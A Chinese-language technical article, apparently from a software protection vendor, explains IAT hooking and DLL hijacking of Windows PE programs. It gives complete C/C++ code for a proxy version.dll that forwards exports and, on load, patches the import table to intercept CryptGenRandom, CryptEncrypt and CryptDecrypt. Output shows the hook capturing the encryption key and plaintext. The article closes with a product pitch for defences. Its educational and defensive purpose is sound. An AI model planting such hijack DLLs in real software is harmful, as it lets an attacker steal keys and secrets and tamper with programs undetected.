浅谈Windows PE程序安全

概述

Windows PE(Portable Executable)文件格式是Windows操作系统中用于存储可执行文件、动态链接库(DLL)以及驱动程序的标准格式。PE文件格式广泛应用于Windows系统中的程序执行,它支持多种操作系统架构和平台,包括x86、x64和ARM64架构。然而,随着PE文件在各类软件应用中的普及,其安全性问题逐渐浮现,尤其是一些恶意攻击者,利用PE文件的漏洞进行各种攻击,给系统带来了严重的安全隐患。

本文将深入分析Windows PE文件中的潜在安全漏洞,重点讨论常见的攻击手段,如IAT HOOK技术与DLL劫持,并通过实验验证其危害。同时,结合当前的安全防范策略,提出有效的防护措施,以帮助开发人员和安全专家更好地保护PE文件免受攻击和恶意篡改的威胁。

IAT HOOK

IAT(Import Address Table,导入地址表)是Windows PE文件格式中的一个重要数据结构,它存储了程序所依赖的外部库函数的地址。当程序执行时,操作系统根据IAT中的地址调用相应的函数。每个外部函数都有一个与之对应的地址指针,程序通过这些指针访问外部库提供的功能。

IAT HOOK是一种通过修改IAT表中的函数地址,从而劫持程序的函数调用的技术, 其原理如下。

  1. 通过ImageBase进行PE文件格式解析,获取到导入表地址。
  2. 根据导入表找到对应的依赖库和对应的导入函数地址。
  3. 记录原始导入函数地址并且替换挂钩函数。

IAT HOOK的关键在于,它不需要直接修改程序的代码或重新编译程序,而是通过修改内存中的IAT表,在程序运行时动态地劫持函数调用。这种方式具有较高的隐蔽性,因为程序本身的二进制文件并未发生任何变化,攻击者可以在不被察觉的情况下操控程序的行为,甚至可以绕过保护工具的内存校验。

DLL劫持

DLL劫持是指攻击者通过操控Windows系统如何加载动态链接库(DLL),使得系统或应用程序加载恶意的DLL文件而不是原本预期的合法DLL文件,从而执行恶意代码。为了理解DLL劫持的原理,我们首先需要了解Windows dll的加载机制和函数转发机制。

Windows的dll加载机制

当程序加载依赖DLL时,Windows默认按以下顺序搜索:

  1. 应用程序所在目录
  2. 系统目录(C:\Windows\System32)
  3. Windows目录(C:\Windows)
  4. 当前工作目录(CWD)
  5. 环境变量PATH中所有目录

函数转发机制

Windows中的函数转发机制允许一个DLL将部分函数的调用转发到另一个DLL中。这种机制使得多个DLL文件之间可以相互依赖,从而实现更复杂的功能组合。具体来说,当一个函数在DLL中找不到时,操作系统会根据转发规则将该函数的调用请求转发到其他DLL中。

劫持原理

利用Windows的DLL加载和函数转发机制,攻击者可以通过以下方式劫持DLL的加载过程:

  1. 通过函数转发机制,编写恶意动态库, 并与要劫持的动态库同名。
  2. 将恶意动态库放到应用程序所在目录,使系统加载动态库时优先加载恶意动态库。

实验

环境

  • 系统:Windows 64
  • 语言:C/C++

目的

通过DLL劫持与IAT HOOK实现在不修改原PE程序的情况下达到HOOK winapi的目的。

样例代码

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <vector>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "version.lib")

// 定义AES块大小
#define AES_BLOCK_SIZE 16

// 加密函数
bool EncryptData(
 const std::vector<BYTE>& key,
 const std::vector<BYTE>& data,
 std::vector<BYTE>& encryptedData)
{
 HCRYPTPROV hProv = 0;
 HCRYPTKEY hKey = 0;
 DWORD dwDataLen = static_cast<DWORD>(data.size());
 BOOL bResult = FALSE;

 // 获取加密上下文
 if (!CryptAcquireContext(&hProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
   printf("CryptAcquireContext failed: %d\n", GetLastError());
   return false;
}

 // 创建密钥对象
 if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hKey)) {
   printf("CryptCreateHash failed: %d\n", GetLastError());
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 哈希密钥数据
 if (!CryptHashData(hKey, key.data(), static_cast<DWORD>(key.size()), 0)) {
   printf("CryptHashData failed: %d\n", GetLastError());
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 从哈希派生密钥
 HCRYPTKEY hDerivedKey = 0;
 if (!CryptDeriveKey(hProv, CALG_AES_256, hKey, CRYPT_EXPORTABLE, &hDerivedKey)) {
   printf("CryptDeriveKey failed: %d\n", GetLastError());
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 设置加密模式为CBC
 DWORD dwMode = CRYPT_MODE_CBC;
 if (!CryptSetKeyParam(hDerivedKey, KP_MODE, (BYTE*)&dwMode, 0)) {
   printf("CryptSetKeyParam failed: %d\n", GetLastError());
   CryptDestroyKey(hDerivedKey);
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 分配加密数据缓冲区
 DWORD dwEncryptedLen = dwDataLen + AES_BLOCK_SIZE;
 encryptedData.resize(dwEncryptedLen);
 memcpy(encryptedData.data(), data.data(), dwDataLen);

 // 执行加密
 if (!CryptEncrypt(hDerivedKey, 0, TRUE, 0, encryptedData.data(), &dwDataLen, dwEncryptedLen)) {
   printf("CryptEncrypt failed: %d\n", GetLastError());
   CryptDestroyKey(hDerivedKey);
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 调整加密数据大小为实际大小
 encryptedData.resize(dwDataLen);

 // 清理资源
 CryptDestroyKey(hDerivedKey);
 CryptDestroyHash(hKey);
 CryptReleaseContext(hProv, 0);

 return true;
}

// 解密函数
bool DecryptData(
 const std::vector<BYTE>& key,
 const std::vector<BYTE>& encryptedData,
 std::vector<BYTE>& decryptedData)
{
 HCRYPTPROV hProv = 0;
 HCRYPTKEY hKey = 0;
 DWORD dwDataLen = static_cast<DWORD>(encryptedData.size());
 BOOL bResult = FALSE;

 // 获取加密上下文
 if (!CryptAcquireContext(&hProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
   printf("CryptAcquireContext failed: %d\n", GetLastError());
   return false;
}

 // 创建哈希对象
 if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hKey)) {
   printf("CryptCreateHash failed: %d\n", GetLastError());
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 哈希密钥数据
 if (!CryptHashData(hKey, key.data(), static_cast<DWORD>(key.size()), 0)) {
   printf("CryptHashData failed: %d\n", GetLastError());
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 从哈希派生密钥
 HCRYPTKEY hDerivedKey = 0;
 if (!CryptDeriveKey(hProv, CALG_AES_256, hKey, CRYPT_EXPORTABLE, &hDerivedKey)) {
   printf("CryptDeriveKey failed: %d\n", GetLastError());
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 设置加密模式为CBC
 DWORD dwMode = CRYPT_MODE_CBC;
 if (!CryptSetKeyParam(hDerivedKey, KP_MODE, (BYTE*)&dwMode, 0)) {
   printf("CryptSetKeyParam failed: %d\n", GetLastError());
   CryptDestroyKey(hDerivedKey);
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 分配解密数据缓冲区
 decryptedData.resize(dwDataLen);
 memcpy(decryptedData.data(), encryptedData.data(), dwDataLen);

 // 执行解密
 if (!CryptDecrypt(hDerivedKey, 0, TRUE, 0, decryptedData.data(), &dwDataLen)) {
   printf("CryptDecrypt failed: %d\n", GetLastError());
   CryptDestroyKey(hDerivedKey);
   CryptDestroyHash(hKey);
   CryptReleaseContext(hProv, 0);
   return false;
}

 // 调整解密数据大小为实际大小
 decryptedData.resize(dwDataLen);

 // 清理资源
 CryptDestroyKey(hDerivedKey);
 CryptDestroyHash(hKey);
 CryptReleaseContext(hProv, 0);

 return true;
}

// 生成随机密钥
bool GenerateRandomKey(std::vector<BYTE>& key, DWORD keySize = 32) {
 HCRYPTPROV hProv = 0;

 if (!CryptAcquireContext(&hProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
   printf("CryptAcquireContext failed: %d\n", GetLastError());
   return false;
}

 key.resize(keySize);
 if (!CryptGenRandom(hProv, keySize, key.data())) {
   printf("CryptGenRandom failed: %d\n", GetLastError());
   CryptReleaseContext(hProv, 0);
   return false;
}

 CryptReleaseContext(hProv, 0);
 return true;
}

int main(int argc, char* argv[]) {

 DWORD versionSize = GetFileVersionInfoSizeA(argv[0], NULL);
 if (versionSize != 0)
{
   std::vector<uint8_t> versionInfo(versionSize);
   if (GetFileVersionInfoA(argv[0], 0, versionInfo.size(), versionInfo.data()))
  {
     // 查询版本信息中的文件版本
     VS_FIXEDFILEINFO* pFileInfo;
     UINT len;
     if (VerQueryValueA(versionInfo.data(), "\\", (LPVOID*)&pFileInfo, &len)) {
       // 获取文件版本
       DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS;
       DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS;

       // 版本信息是由两个 DWORD 组成的
       WORD major = HIWORD(dwFileVersionMS);
       WORD minor = LOWORD(dwFileVersionMS);
       WORD build = HIWORD(dwFileVersionLS);
       WORD revision = LOWORD(dwFileVersionLS);

       printf("Version: %d.%d.%d.%d\n", major, minor, build, revision);
    }
     else {
       printf("Failed to query version value.\n");
    }

  }
}


 // 原始数据
 const char* originalText = "Hello World";
 std::vector<BYTE> data(originalText, originalText + strlen(originalText) + 1);

 // 生成随机密钥
 std::vector<BYTE> key;
 if (!GenerateRandomKey(key, 32)) {
   printf("生成密钥失败\n");
   return 1;
}

 printf("Plaintext:%s\n\n", originalText);

 printf("Key: ");
 for (BYTE b : key) {
   printf("%02X", b);
}
 printf("\n\n");

 std::vector<BYTE> encryptedData;
 if (!EncryptData(key, data, encryptedData)) {
   printf("加密失败\n");
   return 1;
}

 printf("Ciphertext: ");
 for (BYTE b : encryptedData) {
   printf("%02X", b);
}
 printf("\n\n");

 // 解密数据
 std::vector<BYTE> decryptedData;
 if (!DecryptData(key, encryptedData, decryptedData)) {
   printf("解密失败\n");
   return 1;
}

 printf("Decrypted data: %s\n", decryptedData.data());

 printf("Press any key to exit...");
 getchar();
 return 0;
}

劫持库代码

dll劫持

通过劫持version.dll系统库,并将其导出函数转发的version2.dll中。

#include "pch.h"
#include "hook.h"

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=version2.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=version2.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=version2.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=version2.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=version2.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=version2.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=version2.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=version2.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=version2.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=version2.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=version2.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=version2.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=version2.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=version2.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=version2.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=version2.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=version2.VerQueryValueW,@17")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
if (!dohook())
{
return FALSE;
}
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

IAT HOOK

通过IAT HOOK,打印样例程序中的CryptGenRandom,CryptEncrypt, CryptDecrypt 函数参数信息。

#include "pch.h"
#include "hook.h"
#include <wincrypt.h>
#include <type_traits>
#include "includes/nt/image.hpp"
#include <string>
#include <string_view>


using CryptGenRandom_t = std::add_pointer<decltype(CryptGenRandom)>::type;
using CryptEncrypt_t = std::add_pointer<decltype(CryptEncrypt)>::type;
using CryptDecrypt_t = std::add_pointer<decltype(CryptDecrypt)>::type;

static CryptGenRandom_t s_orginalCryptGenRandom = nullptr;
static CryptEncrypt_t s_orginalCryptEncrypt = nullptr;
static CryptDecrypt_t s_orginalCryptDecrypt = nullptr;

static bool reaplceExeIAT(std::string_view dllName, std::string_view importName, void* detour, void** orginalAddress)
{
 void* base = GetModuleHandleA(NULL);

 win::image_x64_t* image = (win::image_x64_t*)base;
 win::data_directory_t* import_dir =  image->get_directory(win::directory_entry_import);
 
 if(!import_dir|| !import_dir->present())
   return false;

 win::import_directory_t* dllimport = (win::import_directory_t*)image->rva_to_ptr(import_dir->rva, import_dir->size);
 win::import_directory_t* dllimportBound = (win::import_directory_t*)((uint8_t*)dllimport + import_dir->size);
 win::import_directory_t* targetImport = nullptr;

 while (dllimport->rva_name != 0 && dllimport->rva_first_thunk != 0 && dllimport < dllimportBound)
{
   const char* name = (const char*)image->rva_to_ptr(dllimport->rva_name);
   if (dllName.compare(name) == 0)
  {
     targetImport = dllimport;
     break;
  }

   dllimport++;
}

 if(!targetImport)
   return false;

 win::image_thunk_data_x64_t* importNameTable = (win::image_thunk_data_x64_t*)image->rva_to_ptr(dllimport->rva_original_first_thunk);
 win::image_thunk_data_x64_t* importAddressTable = (win::image_thunk_data_x64_t*)image->rva_to_ptr(dllimport->rva_first_thunk);

 for (int i = 0; importNameTable[i].forwarder_string != 0; ++i)
{
   win::image_named_import_t* nameImport = (win::image_named_import_t*)image->rva_to_ptr(importNameTable[i].forwarder_string);
   if (importName.compare(nameImport->name) == 0)
  {
     // replace import address table entry
     DWORD backProtect = 0;
     VirtualProtect((void*)&importAddressTable[i], sizeof(void*), PAGE_EXECUTE_READWRITE, &backProtect);

     *orginalAddress = (void*)importAddressTable[i].address;
     importAddressTable[i].address = (uint64_t)detour;

     VirtualProtect((void*)&importAddressTable[i], sizeof(void*), backProtect, &backProtect);
     return true;
  }

}


 return false;
}

static std::string binaryToString(const void* buffer, size_t size)
{
 std::string str;

 for (int i = 0; i< size; ++i) {
   char tmpstr[3];
   snprintf(tmpstr, sizeof(tmpstr), "%02X", ((uint8_t*)buffer)[i]);
   str.append(tmpstr);
}
 return str;
}

BOOL
WINAPI
HookCryptGenRandom(
 _In_                    HCRYPTPROV  hProv,
 _In_                    DWORD   dwLen,
 _Inout_updates_bytes_(dwLen)   BYTE* pbBuffer
)
{
 BOOL ret = s_orginalCryptGenRandom(hProv, dwLen, pbBuffer);
 std::string buffString = ret ? binaryToString(pbBuffer, dwLen) : "";
 printf("[hijack_version] - %s ret:%d dwLen:%08x pbBuffer: %s\n", __FUNCTION__, ret, dwLen, buffString.c_str());

 return ret;
}


BOOL
WINAPI
HookCryptEncrypt(
 _In_                                            HCRYPTKEY   hKey,
 _In_                                            HCRYPTHASH  hHash,
 _In_                                            BOOL    Final,
 _In_                                            DWORD   dwFlags,
 _Inout_updates_bytes_to_opt_(dwBufLen, *pdwDataLen)  BYTE* pbData,
 _Inout_                                         DWORD* pdwDataLen,
 _In_                                            DWORD   dwBufLen
)
{
 std::string plaintBuffer = binaryToString(pbData, *pdwDataLen);
 std::string Plaintext((char*)pbData, dwBufLen);
 BOOL ret = s_orginalCryptEncrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen);
 std::string buffString = ret ? binaryToString(pbData, *pdwDataLen) : "";
 printf("[hijack_version] - %s ret:%d Plaintext:%s(%s) encrypt:%s\n", __FUNCTION__, ret, plaintBuffer.c_str(), Plaintext.c_str(), buffString.c_str());

 return ret;
}

BOOL
WINAPI
HookCryptDecrypt(
 _In_                                            HCRYPTKEY   hKey,
 _In_                                            HCRYPTHASH  hHash,
 _In_                                            BOOL        Final,
 _In_                                            DWORD       dwFlags,
 _Inout_updates_bytes_to_(*pdwDataLen, *pdwDataLen)   BYTE* pbData,
 _Inout_                                         DWORD* pdwDataLen
)
{
 std::string buffString =  binaryToString(pbData, *pdwDataLen);
 BOOL ret = s_orginalCryptDecrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen);
 std::string plaintBuffer = ret ? binaryToString(pbData, *pdwDataLen) : "";
 std::string Plaintext((char*)pbData, *pdwDataLen);
 printf("[hijack_version] - %s ret:%d encrypt:%s Plaintext:%s(%s)\n", __FUNCTION__, ret, buffString.data(), plaintBuffer.c_str(), Plaintext.c_str());

 return ret;
}


bool dohook()
{  
 // HOOK CryptGenRandom, CryptEncrypt, CryptDecrypt

 if(!reaplceExeIAT("ADVAPI32.dll", "CryptGenRandom", HookCryptGenRandom, (void**)&s_orginalCryptGenRandom))
   return false;

 if (!reaplceExeIAT("ADVAPI32.dll", "CryptEncrypt", HookCryptEncrypt, (void**)&s_orginalCryptEncrypt))
   return false;

 if (!reaplceExeIAT("ADVAPI32.dll", "CryptDecrypt", HookCryptDecrypt, (void**)&s_orginalCryptDecrypt))
   return false;

 return true;
}

效果

Version: 1.0.0.1
[hijack_version] - HookCryptGenRandom ret:1 dwLen:00000020 pbBuffer: B1C381F18F3D1EE39FBFE348E5F482D39D99A8779D77A644039B18952CEA30E9
Plaintext:Hello World

Key: B1C381F18F3D1EE39FBFE348E5F482D39D99A8779D77A644039B18952CEA30E9

[hijack_version] - HookCryptEncrypt ret:1 Plaintext:48656C6C6F20576F726C6400(Hello World) encrypt:7C34F42689127D66A4C4AC85E2AA8A27
Ciphertext: 7C34F42689127D66A4C4AC85E2AA8A27

[hijack_version] - HookCryptDecrypt ret:1 encrypt:7C34F42689127D66A4C4AC85E2AA8A27 Plaintext:48656C6C6F20576F726C6400(Hello World)
Decrypted data: Hello World
Press any key to exit...

安全防范

Virbox Protector 为软件提供全面的安全防护,核心功能之一是导入表保护,通过加密PE文件中的导入表并隐藏关键API列表,有效增加逆向工程的难度。同时,Virbox通过混淆和验证导入函数地址,防范常见的IAT Hook攻击,阻止恶意代码篡改程序的API调用流程。除了导入表保护,Virbox还结合多种高级保护机制:代码虚拟化将原始指令转换为自定义虚拟机指令,并通过虚拟机模拟执行,代码混淆通过花指令和代码非等价变形技术扰乱原始指令,代码加密则采用SMC(Self-Modifying Code)技术将函数加密并在执行时解密。这三者协同工作,大幅提升了代码的抗分析强度。同时,内存校验功能通过动态检测程序完整性,防止篡改和内存补丁,反调试技术主动识别并阻止调试器分析,压缩不仅能减小程序体积,还加密代码数据段,有效防止静态反编译。层层叠加的防护机制共同构建了一个深度防御体系,显著增强了软件的抗破解能力。

滚动至顶部
售前客服
周末值班
电话

电话

13910187371

企业微信
企业微信二维码